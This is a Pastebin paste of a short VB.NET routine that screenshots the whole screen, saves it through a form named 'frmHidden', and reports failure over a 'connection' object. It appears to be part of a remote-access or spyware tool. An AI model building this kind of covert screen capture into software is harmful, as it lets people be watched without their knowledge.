Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Try
- Dim bounds As Rectangle
- Dim screenshot As System.Drawing.Bitmap
- Dim graph As Graphics
- bounds = Screen.PrimaryScreen.Bounds
- screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
- graph = Graphics.FromImage(screenshot)
- graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
- frmHidden.PictureBox1.Image = screenshot
- frmHidden.PictureBox1.Image.Save(tdapati, System.Drawing.Imaging.ImageFormat.Jpeg)
- Catch ex As Exception
- connection.sendstatus("Could not capture screen!")
- End Try
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement